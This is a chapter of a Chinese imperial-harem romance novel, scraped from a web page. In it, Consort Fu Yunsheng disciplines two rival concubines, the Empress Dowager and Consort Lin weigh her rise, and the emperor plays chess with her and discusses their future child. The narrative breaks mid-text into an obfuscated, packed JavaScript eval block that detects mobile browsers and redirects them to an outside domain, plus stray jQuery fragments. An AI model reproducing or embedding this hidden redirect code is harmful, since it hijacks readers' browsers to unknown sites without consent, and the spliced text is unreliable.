付云笙眸色转冷,睨着二人,“逞口舌之力,以下犯上,不得不罚。念在初犯,郁选侍的掌嘴便免了,罚跪一个时辰;宋美人亦如此,免了罚跪,站一个时辰即可。
“若是不服,我去请慧妃娘娘做主,慧妃娘娘若是无暇理会,大可一道去见皇上。”
清岚也端肃了表情,正色道:“主子只管先让莫乔服侍着进去歇息,奴婢留下,看宋美人、郁选侍是否领罚。”
付云笙颔首,“也好。”
所谓朝中有人好做官,皇帝给恩宠,给了得力之人,这样庞大的助力之下,她要是还跟谁以和为贵,纵着有旧怨的人,皇帝就得先扫兴不已,看准她没出息。
瞧着付云笙扬长而去,宋美人站在原处,揉着帕子,陷入纠结:皇帝不可能为她撑腰,林慧妃向来躲着是非,也不可能帮她,所以……
这次她只能认栽。
郁选侍位分不过七品,被三品婕妤责罚合情合理,她没有叫屈不服的余地,当即老老实实跪下。
只是,心里别提有多难过了:刚一打照面便是这般狼狈,往后要是算计不成,岂不是要活活地被付云笙磋磨死?
郁选侍的丫鬟夏荷先是要陪着下跪,被清岚摆手阻止后,默默地退后一步,瞥着郁选侍,心里哀叹不已。
自家选侍跟付婕妤浑似生来犯相,前者打小嫉妒后者。
嫉妒或许不需要理由,而嫉妒的时日太久,便化为深浓雪亮的恨意。
夏荷理解不了,究其原由,她觉得纯粹是郁家做的孽。
付家父女与郁家断了亲戚关系,是有缘故的:
付夫人出自郁家,生下付云笙两年后因时疫病故,付大学士膝下只有一女,却不肯续弦。
郁家兴许是瞧着他仕途走得顺畅,不肯放弃这门姻亲,变着法子要将门里的闺秀送进付家,惹得付大学士翻脸才作罢。
付云笙打小便是叫人惊艳不已的容色,郁家不晓得通过她好生维系这门亲戚,倒因着对付大学士无计可施,早早打起了她的主意。
付云笙六七岁起,郁家开始给她撮合亲事,为的是从中获利。
这样的事情出过两次之后,付大学士忍无可忍,单方面断了郁家这门亲戚,连郁家门里只有他亡妻一个明白人的话都说出来了。
闹得这么难看,两个门第的孩子怎么亲近得起来。
也是从那时起,付道长长期将侄女带在身边,付云笙几乎脱离了富贵圈。
夏荷如何都料想不到,付云笙并不曾经历宅门、闺秀间的勾心斗角,进宫来照样应对自如。
不消多久,西爽阁前宋美人罚站、郁选侍罚跪的消息传遍后宫。
林慧妃与李婕妤同住长春宫,李婕妤闻讯后,立刻离了自己的书墨轩,到正殿找林慧妃,开门见山:
“那个付婕妤真是好大的威风,竟然一并罚了两个人。”
“那又如何?”林慧妃漫不经心地问。
“满打满算才进宫几天?未免太沉不住气了,娘娘协理六宫,该出言训诫一番。”李婕妤说。
“罚人的比受罚的位分高,且正得宠,受罚的一声不吭,明摆着自知理亏,那便是周瑜打黄盖的事,何须本宫多事?”林慧妃笑容温煦,“真正沉不住气的分明是你。快坐下,喝杯茶静静心。”
李婕妤一噎,讪讪地落座,喝了口茶,又道:“臣妾只是想着,昨日不论怎么算,都该是娘娘侍寝,却被那人占了先,实在是为您不值。”
“皇上自己去的西爽阁,谁敢阻拦不成?”林慧妃用盖碗拂着茶汤,“这种话不要说了,否则本宫真不知道要听多久。”
李婕妤面上一惊,“娘娘这是何意?难道皇上会独宠付婕妤?”
“但愿不会那样,偏又极有可能。”林慧妃似是而非地笑了笑,“明里不要跟付婕妤不睦,没见太后都特意召见,给了她赏赐么?太后娘娘希望皇上雨露均沾,但比起以往,皇上身边只要有个人服侍着便好,她老人家终归得这么算账。”
李婕妤继昨夜之后,又受了一重打击,双肩耷拉下去,人也蔫儿了下去。
正被表侄女说起的太后,这会儿正在为西爽阁门前的事失笑,“哀家刚刚倒是没看出来,是个有脾气也有胆子的。”
与太后年岁相仿的竹漪道:“正是气盛的年岁,在所难免。”
“你也不劝哀家别动怒?”
“太后本就没生气,奴婢从何劝起?”
“这倒是,小孩子家不闹气才不正常。”太后巴不得付云笙气焰嚣张,从而衬托出安分守己的,这样一来,她那混帐儿子也就能转移心思了。
竹漪对太后再了解不过,递上一盏清茶,婉言道:“要奴婢说,您不用整日里惦记着皇上那头的事,年岁轻轻的两个人,都是罕见的才貌俱佳,蜜里调油一阵是必然,您越是劳心,皇上越会亲近付婕妤,倒不如先由着他们,等皇上过了兴头,您想看到的情形,自然而然便有了。”
太后端茶沉默片刻,“你说的也在理,哀家便再纵容他一阵。”
竹漪暗暗摇头,心说不纵容又能怎么着?叫人天天看你们母子掐架?关键您又掐不过您儿子。
*
这日陆知临比较繁忙,毕竟连日不在宫里,重臣积压了不少不敢做主的事,几乎一整天都在与他们议事,午膳晚膳也是跟他们一起用的。
等到闲下来,已近戌时,陆知临立刻命人去接付婕妤,等她过来的时间里,一面看她写的话本子,一面听杨无尘说她这一天的动向。
见太后、罚人是西爽阁外的事,接下来,打坐一个时辰,亲自清点了小库房,重新安排一番,整个下午闷在布置成书房的西次间里,修改两首曲子。
末了,杨无尘笑:“周无病说,付婕妤的琴声可谓一绝,可惜他们没耳福,婕妤是为着修改才抚琴,只弹了几段,实在遗憾。”
“她赚钱的那些事由只是消遣,琴棋书画四书五经才是真学精了的。”陆知临语气里有着不自知的温柔,“那可是把《周易》当闲书看的主儿。”
杨无尘笑起来,“付道长一身绝学,付婕妤即便青出于蓝也不新鲜。”
陆知临一笑。
过了一阵子,付云笙乘着凤鸾春恩车来到九华宫,进殿后盈盈行礼。
陆知临照例前去扶她起身,握着她的手到御书房里间,“你棋艺好,先前没工夫正经对弈,今儿正经对弈几局。”
“好啊。”付云笙被他摁到软塌上的棋桌一侧,笑着指一指清岚,“臣妾给皇上带了一份薄礼,不要嫌弃才是。”
“哦?”陆知临很高兴,从清岚手里接过狭长的锦盒,“是不是扇子?”
“嗯,扇骨是臣妾做的,扇面儿是臣妾画的,扇坠儿是臣妾选的。”
陆知临笑声愉悦,揉了揉她凝脂般的小脸儿,才打开锦盒。
那是一把湘妃竹扇,扇骨有着天然斑纹,质地细腻,触感温润;扇面上画的是墨竹,笔触舒朗随性,而竹的风骨气韵跃然纸上;扇坠有两块,一为墨玉,一为和田羊脂玉,拼起来是八卦样式。
“都说一寸湘妃一寸金,以往不以为然,形容这一柄却是恰如其分。”陆知临星眸凝着她,闪着熠熠光火,“朕很喜欢。”</
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16496092|185950||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
付云笙歪头笑一笑,“前一阵闲来无事做成的,皇上喜欢就最好了。”
其实她不过是与他礼尚往来。他赏赐不断,她要是什么表示都没有,未免太不晓事了,他也会觉得扫兴。衣食父母么,该哄就得哄。
陆知临当即将折扇拿在手里,换下了先前用的,又摆手遣了服侍在侧的宫人,与她单独相对,安安静静下棋。
“今儿欺负人了?”他故意这么问。
“是呢,这可怎么好?臣妾恃宠生娇了。”
陆知临哈哈地笑起来,“无妨。”
付云笙这才解释:“本就有过节,她们还往臣妾跟前儿凑,索性撕破脸,省得跟她们唱虚情假意的戏。”
“理当如此,八面玲珑的人未必真的广结善缘。”顿了顿,陆知临说,“其实朕一直在等你告那二人的状,可你一直没提。”
“告什么状?”付云笙装糊涂。
陆知临起身,取来一个信封,抽出里面的纸张给她。
付云笙看到了了不得的东西:当日她让莫乔拿给宋四看的评书、唱词,居然到了他手里。
极短暂的意外之后,付云笙只是说:“这不是臣妾的笔迹。”
“写的事情是不是真的?”
“是真的也没用,谁都想过安生日子,必是抵死不认,反过来诬陷臣妾收买宋家仆人。”
陆知临玩味地看着她,“你当日不是说,要进宫告御状?”
“虚张声势罢了,臣妾并没料到宋家会真的认头。”
“要是那样你怎么办?”
“败坏他们家的名声,让戏园子、茶楼、乐坊里都传扬他们居心不良的事,只不过,不会是这上面写的那样,关乎天家,臣妾没胆子宣扬。”
陆知临释然,“知道了。朕一直等着,但也一直头疼,正像你说的,他们如何都不会承认,总不好全关进诏狱,彻查这种事对你也没好处。”
“臣妾在外面的账已经算完了,在宫里的账不愁慢慢算。”付云笙对他投去感激的一瞥,“皇上不要挂心了。”
“成。”
付云笙专心下棋,你来我往地走了一阵,他忽然说:
“关乎生儿育女的事,你可想过?”
“……臣妾该怎么想?”
“位分不低,却还不够高,且手无权柄,怀胎之后,并非你或朕有心就能保胎儿无虞。”
微微摇曳的灯光之中,付云笙望着年轻俊美的帝王,“臣妾想说皇上说的句句在理,但臣妾不敢。”
陆知临轻笑,“数你会耍花腔。”
“皇上一笑,千金难换。”
陆知临笑意更浓,伸手拉她到跟前,安置在怀里,“你不同于寻常女子,进宫必是做了诸多准备。有些话,原本朕说了便惹人误会,但你不会。”
话说的太委婉太隐晦,付云笙索性直接问:“皇上想说什么?”
“一年为期,该给的朕都给你,只望你能站稳脚跟,护得住自己,更护得住我们迟早要来的孩子。”
付云笙微微动容,郑重点头,“臣妾记下了。”
陆知临柔声叮嘱她:“让太医尽心照看,拿捏好分寸,不要损伤了身子。”
付云笙不免猜测,他是不是发现了她做的手脚。
但那不是理所应当么?泡在后宫这个偌大的醋缸里的人怀胎,真不亚于玩儿命,她可没活够。
他就算仔细地查,结果也是别人有预谋地害她,总之,在她站稳脚跟之前,绝对不能有喜。
陆知临捏了捏她的小下巴,意有所指地数落一句:“鬼丫头。”